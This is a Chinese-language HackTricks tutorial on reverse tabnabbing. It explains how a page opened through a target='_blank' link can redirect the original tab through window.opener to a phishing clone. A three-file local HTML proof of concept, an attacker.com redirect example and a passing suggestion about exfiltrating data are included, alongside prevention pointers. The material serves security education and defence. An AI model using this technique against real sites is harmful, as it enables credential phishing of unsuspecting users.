Reverse Tab Nabbing

支持 HackTricks

描述

攻击者可以控制即将被受害者点击的带有属性**target="_blank" rel="opener"<a标签的href参数的情况下,攻击者将此链接指向一个他控制的网页(一个恶意** 网站)。然后,一旦受害者点击该链接并访问攻击者的网站,这个恶意 网站将能够通过javascript对象**window.opener控制****原始** 页面。 如果页面没有**rel="opener"但包含target="_blank"且也没有rel="noopener"**,它也可能是脆弱的。

滥用这种行为的常规方法是通过window.opener.location = https://attacker.com/victim.html原始网页的位置更改为一个由攻击者控制的看起来像原始网页的网页,以便它可以模仿原始网站的登录 表单并向用户请求凭据。

然而,请注意,由于攻击者现在可以控制原始网站的窗口对象,他可以以其他方式滥用它来执行更隐蔽的攻击(也许修改javascript事件以将信息外泄到他控制的服务器?)

概述

有返回链接

当未使用预防属性时,父页面和子页面之间的链接:

无返回链接

当使用预防属性时,父页面和子页面之间的链接:

示例

在一个文件夹中创建以下页面并运行一个web服务器,使用python3 -m http.server 然后,访问 http://127.0.0.1:8000/vulnerable.html,点击链接并注意原始 网站 URL 的变化

vulnerable.html
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
malicious.html
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
malicious_redir.html
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>

可访问的属性

在发生跨源访问的情况下(跨不同域的访问),恶意网站可以访问的window JavaScript 类实例的属性仅限于以下内容:

  • opener.closed:此属性用于确定窗口是否已关闭,返回布尔值。

  • opener.frames:此属性提供对当前窗口内所有 iframe 元素的访问。

  • opener.length:此属性返回当前窗口中存在的 iframe 元素的数量。

  • opener.opener:可以通过此属性获取打开当前窗口的窗口的引用。

  • opener.parent:此属性返回当前窗口的父窗口。

  • opener.self:此属性提供对当前窗口本身的访问。

  • opener.top:此属性返回最上层的浏览器窗口。

然而,在域名相同的情况下,恶意网站可以访问window JavaScript 对象引用所暴露的所有属性。

预防

预防信息记录在HTML5 Cheat Sheet中。

参考

支持 HackTricks

Last updated